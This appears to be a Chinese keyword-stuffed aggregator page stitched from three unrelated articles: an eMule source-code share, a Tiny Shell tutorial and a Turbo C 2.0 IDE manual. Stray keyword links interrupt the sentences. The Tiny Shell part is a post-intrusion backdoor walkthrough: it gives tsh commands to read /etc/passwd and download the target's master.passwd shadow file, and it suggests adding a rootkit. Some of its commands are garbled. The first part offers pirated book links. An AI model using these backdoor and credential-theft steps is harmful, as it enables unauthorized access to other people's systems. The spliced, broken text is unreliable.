欢迎来到皮皮网网首页

【魔兽322 源码】【app分发页面源码】【博客网站目录源码】tiny http源码

来源:生活家网站源码 时间:2024-11-24 14:39:59

1.分享下电驴(eMule)的源码源码
2.Tiny Shell使用说明书
3.tc2.0 的用法

tiny http源码

分享下电驴(eMule)的源码

       这里分享一款资源分享与下载工具——电驴,实际上应该称为电骡,源码这是源码我维护的版本,eMuleVeryCD版本,源码VeryCD是源码一个不错的资源分享网站: verycd.com/。大约在年之前,源码魔兽322 源码中国市场流行的源码下载工具大约有三款:网际快车(flashget)、电驴(eMule)和迅雷,源码后来前两者都没落了。源码电驴的源码源码也开源了,迅雷抓住这个机会分析了电驴的源码下载协议(Kademlia),所以现在的源码迅雷也能解析电驴的下载协议,凡是源码能用电驴下载的链接,也能用迅雷下载。源码这是源码一些前尘往事吧。其实我蛮怀念那个时候的。

       先看下软件功能截图吧。

       编译方法:

       1.将rcdll.dll复制到Visual Studio 安装目录的VC\bin目录中。(这是为了使用能在vista下显示的图标)

       2. 用VS打开easyMule_Libs.sln,执行“生成解决方案”。(easyMule_Libs.sln里所包含的是easyMule所依赖的库文件。)

       3.用VS打开easyMule.sln编译即可。

       电驴服务器列表(eMule server list): gruk.org/list.php ed2k://|server|...||/

       这个是我维护的easyMule版本,由于不断的修改,可能会离原来的版本越来越远。

       电驴的整个工程是mfc项目,里面使用的socket通信库是filezilla作者Tim Kosse在其开源项目filezilla中使用的CAsyncSocketEx,这是一个模仿mfc的CAsyncSocket类,但据说效率高于CAsyncSocket的类。

       代码特点

       电驴的代码虽然设计上不是最好的,但从代码风格和命名来说绝对是非常优良的,尤其是其变量、类名、函数等命名风格,真的是赏心悦目。而且其工程中的大多数类都可以直接拿来使用,比如/p-.h...

       代码获取地址

       链接: pan.baidu.com/s/RQcgq...

       提取码: fac3

       如果你编译或者调试有问题可以私信我。app分发页面源码

       图书推荐

       电驴运行于 Windows 平台,使用 C++ 开发,如果你对 Windows C/C++ 编程感兴趣,我推荐两本书,一本书:

       1.《Windows 程序设计》

       这本书讲述了 Windows UI 相关原理的方方面面,且语言朴实、娓娓道来,犹如一位良师益友,我当初也是看这本书进入 Windows C/C++ 开发领域的;这本书的业界地位很高,可以说这本书是中国的老一代 Windows 程序员的启蒙和进阶读物。

       获取链接:

       链接: pan.baidu.com/s/1BCCYjg...

       提取码: g7py

       2. 《Windows 核心编程》

       这本书正好与上一本相互弥补,讲述的是 Windows 非 UI 部分的运行原理,内容非常丰富,当之“核心”二字无愧,图书的作者是编写 Windows Sysinternals 套件的 Jeffrey Richter,如果你没听说过 Windows Sysinternals 套件,那你一定听说过,Process Explorer:

       侯捷老师评价这本书是“搞 Windows 开发,需要两样资源,一是 MSDN,一本就是《Windows 核心编程》”,这本书口碑非常好,多次重印,每一版都有一些新的改动和惊喜。

       获取链接:

       链接: pan.baidu.com/s/1SH1b0G...

       提取码: wh

       图书资源收集于网络,如需要请购买正版,侵删。

       CppGuide

       我目前在大厂做架构,面试和指导千人成功找到满意的 C/C++ 岗位,在学习 C/C++ 开发的过程中踩过一个又一个坑,深知新手学习 C/C++ 的困难,因此特地给 C/C++ 开发的同学精心准备了一份优质学习资料————CppGuide,内容从 C/C++ 语言、网络编程、操作系统原理到完整的项目源码分析,同时这份资料也包括 C/C++ 学习方法、博客网站目录源码推荐的阅读书籍、简历指导和求职技巧等。

       Enjoy it!

Tiny Shell使用说明书

       Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。

       一,前言

       随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了。通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而 Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。

       二,应用

       1,Tiny Shell简介 Tiny Shell是ouzero博客源码一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的-bit RC4加密,以躲避嗅探器的检测具备AES- + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。

       2,Tiny Shell应用 测试环境: 本地:OpenBSD 3.4 IP:..0. 目标:FreeBSD 4.9 STABLE IP:..0. 首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。 #fetch mand”,比如./tsh ..0. “cat etc/passwd”,这条命令的意思是连接..0.目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。 现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的什么是群源码关键字为Get。好,先来看看如何上传文件,执行“./tsh ..0. put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh ..0. put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh ..0.连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为 “./tsh ..0. get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh ..0. get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。

       小结

       Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。

tc2.0 的用法

       .Run(运行程序)

       运行由Project/Project name项指定的文件名或当前编辑区的文件。如果对上

       次编译后的源代码未做过修改, 则直接运行到下一个断点(没有断点则运行到结束)。

       否则先进行编译、连接后才运行, 其热键为Ctrl+F9。

       User screen(用户屏幕)

       显示程序运行时在屏幕上显示的结果。其热键为Alt+F5。

       tc2.0虽然比较老了 但是用的人还是比较多的

       毕竟用它写c语言风靡过几代人的

       有关它的设置和用法 问的人也不少

       在此俺搜集了有关资料 以飨读者。

       进入Turbo C 2.0集成开发环境中后, 屏幕上显示:

       ——————————————————————————————

       File Edit Run Compile Project Options Debug Break/watch

       ┌————————————Edit——————————————┐

       │ Line 1 Col 1 Insert Indent Tab File Unindent c:NONAME.C│

       │ │

       │ │

       │ │

       │ │

       │ │

       │ │

       │ │

       │—————————Message——————————————— │

       │ │

       │ │

       └————————————————————————————┘

       F1-Help F5-Zoom F6-Switch F7-Trace F8-Step F9-Make F-Menu

       ——————————————————————————————

       其中顶上一行为Turbo C 2.0 主菜单, 中间窗口为编辑区, 接下来是信息窗

       口, 最底下一行为参考行。这四个窗口构成了Turbo C 2.0的主屏幕, 以后的编程、

       编译、调试以及运行都将在这个主屏幕中进行。下面详细介绍主菜单的内容。

       ★ 1 主菜单

       主菜单 在Turbo C 2.0主屏幕顶上一行, 显示下列内容:

       File Edit Run Compile Project Options Debug Break/watch

       除Edit外, 其它各项均有子菜单, 只要用Alt加上某项中第一个字母(即大写字

       母), 就可进入该项的子菜单中。

       一、File(文件)菜单

       按Alt+F可进入File菜单, 该菜单包括以下内容:

       .Load(加载)

       装入一个文件, 可用类似DOS的通配符(如*.C)来进行列表选择。也可装入其它

       扩展名的文件, 只要给出文件名(或只给路径)即可。该项的热键为F3, 即只要在主

       菜单中按F3即可进入该项, 而不需要先进入File菜单再选此项。

       .Pick(选择)

       将最近装入编辑窗口的8个文件列成一个表让用户选择, 选择后将该程序装入

       编辑区, 并将光标置在上次修改过的地方。其热健为Alt-F3。

       .New(新文件)

       说明文件是新的, 缺省文件名为NONAME.C, 存盘时可改名。

       .Save(存盘)

       将编辑区中的文件存盘, 若文件名是NONAME.C时, 将询问是否更改文件名, 其

       热键为F2。

       .Write to(存盘)

       可由用户给出文件名将编辑区中的文件存盘, 若该文件已存在, 则询问要不要

       覆盖。

       .Directory(目录)

       显示目录及目录中的文件, 并可由用户选择。

       .Change dir(改变目录)

       显示当前目录, 用户可以改变显示的目录。

       .Os shell(暂时退出)

       暂时退出Turbo C 2.0到DOS提示符下, 此时可以运行DOS 命令, 若想回到

       Turbo C 2.0中, 只要在DOS状态下键入EXIT即可。

       .Quit(退出)

       退出Turbo C 2.0, 返回到DOS操作系统中, 其热键为Alt+X。

       说明:

       以上各项可用光标键移动色棒进行选择, 回车则执行。也可用每一项的第一个

       大写字母直接选择。若要退到主菜单或从它的下一级菜单列表框退回均可用Esc键,

       Turbo C 2.0所有菜单均采用这种方法进行操作, 以下不再说明。

       二、Edit(编辑)菜单

       按Alt+E可进入编辑菜单, 若再回车, 则光标出现在编辑窗口, 此时用户可以

       进行文本编辑。

       编辑方法基本与wordstar相同, 可用F1键获得有关编辑方法的帮助信息。

       与编辑有关的功能键如下:

       F1 获得Turbo C 2.0编辑命令的帮助信息

       F5 扩大编辑窗口到整个屏幕

       F6 在编辑窗口与信息窗口之间进行切换

       F 从编辑窗口转到主菜单

       编辑命令简介:

       PageUp 向前翻页

       PageDn 向后翻页

       Home 将光标移到所在行的开始

       End 将光标移到所在行的结尾

       Ctrl+Y 删除光标所在的一行

       Ctrl+T 删除光标所在处的一个词

       Ctrl+KB 设置块开始

       Ctrl+KK 设置块结尾

       Ctrl+KV 块移动

       Ctrl+KC 块拷贝

       Ctrl+KY 块删除

       Ctrl+KR 读文件

       Ctrl+KW 存文件

       Ctrl+KP 块文件打印

       Ctrl+F1 如果光标所在处为Turbo C 2.0库函数, 则获得有关该函数的帮助

       信息

       Ctrl+Q[ 查找Turbo C 2.0双界符的后匹配符

       Ctrl+Q] 查找Turbo C 2.0双界符的前匹配符

       说明:

       1. Turbo C 2.0的双界符包括以下几种符号:

       花括符 { 和}

       尖括符 <和>

       圆括符 (和)

       方括符 [和]

       注释符 /*和*/

       双引号 "

       单引号 '

       2. Turbo C 2.0在编辑文件时还有一种功能, 就是能够自动缩进, 即光标定位

       和上一个非空字符对齐。在编辑窗口中, Ctrl+OL为自动缩进开关的控制键。

       三、Run(运行)菜单

       按Alt+R可进入Run菜单, 该菜单有以下各项:

       .Run(运行程序)

       运行由Project/Project name项指定的文件名或当前编辑区的文件。如果对上

       次编译后的源代码未做过修改, 则直接运行到下一个断点(没有断点则运行到结束)。

       否则先进行编译、连接后才运行, 其热键为Ctrl+F9。

       .Program reset(程序重启)

       中止当前的调试, 释放分给程序的空间, 其热键为Ctrl+F2。

       .Go to cursor(运行到光标处)

       调试程序时使用, 选择该项可使程序运行到光标所在行。光标所在行必须为一

       条可执行语句, 否则提示错误。其热键为F4。

       .Trace into(跟踪进入)

       在执行一条调用其它用户定义的子函数时, 若用Trace into项, 则执行长条将

       跟踪到该子函数内部去执行, 其热键为F7。

       .Step over(单步执行)

       执行当前函数的下一条语句, 即使用户函数调用, 执行长条也不会跟踪进函数

       内部, 其热键为F8。

       .User screen(用户屏幕)

       显示程序运行时在屏幕上显示的结果。其热键为Alt+F5。

       四、Compile(编译)菜单

       按Alt+C可进入Compile菜单, 该菜单有以下几个内容:

       .Compile to OBJ(编译生成目标码)

       将一个C源文件编译生成.OBJ目标文件, 同时显示生成的文件名。其热键为

       Alt+F9。

       .Make EXE file(生成执行文件)

       此命令生成一个.EXE的文件, 并显示生成的.EXE文件名。其中.EXE文件名是下

       面几项之一。

       1. 由Project/Project name说明的项目文件名。

       2. 若没有项目文件名, 则由Primary C file说明的源文件。

       3. 若以上两项都没有文件名, 则为当前窗口的文件名。

       .Link EXE file(连接生成执行文件)

       把当前.OBJ文件及库文件连接在一起生成.EXE文件。

       .Build all(建立所有文件)

       重新编译项目里的所有文件, 并进行装配生成.EXE文件。该命令不作过时检查

       (上面的几条命令要作过时检查, 即如果目前项目里源文件的日期和时间与目标文

       件相同或更早, 则拒绝对源文件进行编译)。

       .Primary C file(主C文件)

       当在该项中指定了主文件后, 在以后的编译中, 如没有项目文件名则编译此项

       中规定的主C文件, 如果编译中有错误, 则将此文件调入编辑窗口, 不管目前窗口

       中是不是主C文件。

       .Get info(获得有关当前路径、源文件名、源文件字节大小、编译中的错误数

       目、可用空间等信息。

       五、Project(项目)菜单

       按Alt+P可进入Project菜单, 该菜单包括以下内容:

       .Project name(项目名)

       项目名具有.PRJ的扩展名, 其中包括将要编译、连接的文件名。例如有一个程

       序由file1.c, file2.c, file3.c组成, 要将这3个文件编译装配成一个file.exe的

       执行文件, 可以先建立一个file.prj的项目文件, 其内容如下:

       file1.c

       file2.c

       file3.c

       此时将file.prj放入Project name项中, 以后进行编译时将自动对项目文件中

       规定的三个源文件分别进行编译。然后连接成file.exe文件。

       如果其中有些文件已经编译成.OBJ文件, 而又没有修改过, 可直接写上.OBJ扩

       展名。此时将不再编译而只进行连接。

       例如: file1.obj

       file2.c

       file3.c

       将不对file1.c进行编译, 而直接连接。

       说明:

       当项目文件中的每个文件无扩展名时, 均按源文件对待, 另外, 其中的文件也

       可以是库文件, 但必须写上扩展名.LIB。

       .Break make on(中止编译)

       由用户选择是否在有Warining(警告)、Errors(错误)、Fatal Errors( 致命错

       误)时或Link(连接)之前退出Make编译。

       .Auto dependencies(自动依赖)

       当开关置为on, 编译时将检查源文件与对应的.OBJ文件日期和时间, 否则不进

       行检查。

       .Clear project(清除项目文件)

       清除Project/Project name中的项目文件名。

       .Remove messages(删除信息)

       把错误信息从信息窗口中清除掉。

       六、Options(选择菜单)

       按Alt+O可进入Options菜单, 该菜单对初学者来说要谨慎使用。

       .Compiler(编译器)

       本项选择又有许多子菜单, 可以让用户选择硬件配置、存储模型、调试技术、

       代码优化、对话信息控制和宏定义。这些子菜单如下:

       Model

       共有Tiny, small, medium, compact, large, huge 六种不同模式可由同户选

       择。

       Define

       打开一个宏定义框, 同户可输入宏定义。多重定义可同分号, 赋值可用等号。

       Code generation

       它又有许多任选项, 这些任选项告诉编译器产生什么样的目标代码。

       Calling convention 可选择C或Pascal方式传递参数。

       Instruction set 可选择/或/指令系列。

       Floating point 可选择仿真浮点、数学协处理器浮点或无浮点运算。

       Default char type 规定char的类型。

       Alignonent 规定地址对准原则。

       Merge duplicate strings 作优化用, 将重复的字符串合并在一起。

       Standard stack frame 产生一个标准的栈结构。

       Test stack overflow 产生一段程序运行时检测堆栈溢出的代码。

       Line number 在.OBJ文件中放进行号以供调试时用。

       OBJ debug information 在.OBJ文件中产生调试信息。

       Optimization

       Optimize for 选择是对程序小型化还是对程序速度进行优

       化处理。

       Use register variable 用来选择是否允许使用寄存器变量。

       Register optimization 尽可能使用寄存器变量以减少过多的取数操

       作。

       Jump optimization 通过去除多余的跳转和调整循环与开关语句

       的办法, 压缩代码。

       Source

       Indentifier length 说明标识符有效字符的个数, 默认为个。

       Nested comments 是否允许嵌套注释。

       ANSI keywords only 是只允许ANSI关键字还是也允许Turbo C

       2.0关键字

       Error

       Error stop after 多少个错误时停止编译, 默认为个。

       Warning stop after 多少个警告错误时停止编译, 默认为个。

       Display warning

       Portability warning 移植性警告错误。

       ANSI Violations 侵犯了ANSI关键字的警告错误。

       Common error 常见的警告错误。

       Less common error 少见的警告错误。

       Names 用于改变段(segment)、 组( group) 和类

       (class)的名字, 默认值为CODE,DATA,BSS。

       .Linker(连接器)

       本菜单设置有关连接的选择项, 它有以下内容:

       Map file menu 选择是否产生.MAP文件。

       Initialize segments 是否在连接时初始化没有初始化的段。

       Devault libraries 是否在连接其它编译程序产生的目标文件时去寻

       找其缺省库。

       Graphics library 是否连接graphics库中的函数。

       Warn duplicate symbols 当有重复符号时产生警告信息。

       Stack warinig 是否让连接程序产生No stack的警告信息。

       Case-sensitive link 是否区分大、小写字。

       .Environment(环境)

       本菜单规定是否对某些文件自动存盘及制表键和屏幕大小的设置

       Message tracking

       Current file 跟踪在编辑窗口中的文件错误。

       All files 跟踪所有文件错误。

       Off 不跟踪。

       Keep message 编译前是否清除Message窗口中的信息。

       Config auto save 选on时, 在Run, Shell或退出集成开发环境之前,

       如果Turbo C 2.0的配置被改过, 则所做的改动

       将存入配置文件中。选off时不存。

       Edit auto save 是否在Run或Shell之前, 自动存储编辑的源文件。

       Backup file 是否在源文件存盘时产生后备文件(.BAK文件)。

       Tab size 设置制表键大小, 默认为8。

       Zoomed windows 将现行活动窗口放大到整个屏幕, 其热键为F5。

       Screen size 设置屏幕文本大小。

       .Directories(路径)

       规定编译、连接所需文件的路径, 有下列各项:

       Include directories 包含文件的路径, 多个子目录用";"分开。

       Library directories 库文件路径, 多个子目录用";"分开。

       Output directoried 输出文件(.OBJ, .EXE, .MAP文件)的目录。

       Turbo C directoried Turbo C 所在的目录。

       Pick file name 定义加载的pick文件名, 如不定义则从current

       pick file中取。

       .Arguments(命令行参数)

       允许用户使用命令行参数。

       .Save options(存储配置)

       保存所有选择的编译、连接、调试和项目到配置文件中, 缺省的配置文件为

       TCCONFIG.TC。

       .Retrive options

       装入一个配置文件到TC中, TC将使用该文件的选择项。

       七、Debug(调试)菜单

       按Alt+D可选择Debug菜单, 该菜单主要用于查错, 它包括以下内容:

       Evaluate

       Expression 要计算结果的表达式。

       Result 显示表达式的计算结果。

       New value 赋给新值。

       Call stack 该项不可接触。而在Turbo C debuger 时用于检

       查堆栈情况。

       Find function 在运行Turbo C debugger时用于显示规定的函数。

       Refresh display 如果编辑窗口偶然被用户窗口重写了可用此恢复

       编辑窗口的内容。

       八、Break/watch(断点及监视表达式)

       按Alt+B可进入Break/watch菜单, 该菜单有以下内容:

       Add watch 向监视窗口插入一监视表达式。

       Delete watch 从监视窗口中删除当前的监视表达式。

       Edit watch 在监视窗口中编辑一个监视表达式。

       Remove all watches 从监视窗口中删除所有的监视表达式。

       Toggle breakpoint 对光标所在的行设置或清除断点。

       Clear all breakpoints 清除所有断点。

       View next breakpoint 将光标移动到下一个断点处。

       ★ 2 Turbo C 2.0的配置文件

       所谓配置文件是包含Turbo C 2.0有关信息的文件, 其中存有编译、连接的选

       择和路径等信息。

       可以用下述方法建立Turbo C 2.0的配置:

       1. 建立用户自命名的配置文件

       可以从Options菜单中选择Options/Save options命令, 将当前集成开发环境

       的所有配置存入一个由用户命名的配置文件中。下次启动TC时只要在DOS下键入:

       tc/c<用户命名的配置文件名>

       就会按这个配置文件中的内容作为Turbo C 2.0的选择。

       2. 若设置Options/Environment/Config auto save 为on, 则退出集成开发环

       境时, 当前的设置会自动存放到Turbo C 2.0配置文件TCCONFIG.TC中。Turbo C 在

       启动时会自动寻找这个配置文件。

       3. 用TCINST设置Turbo C的有关配置, 并将结果存入TC.EXE中。Turbo C 在启

       动时, 若没有找到配置文件, 则取TC.EXE中的缺省值。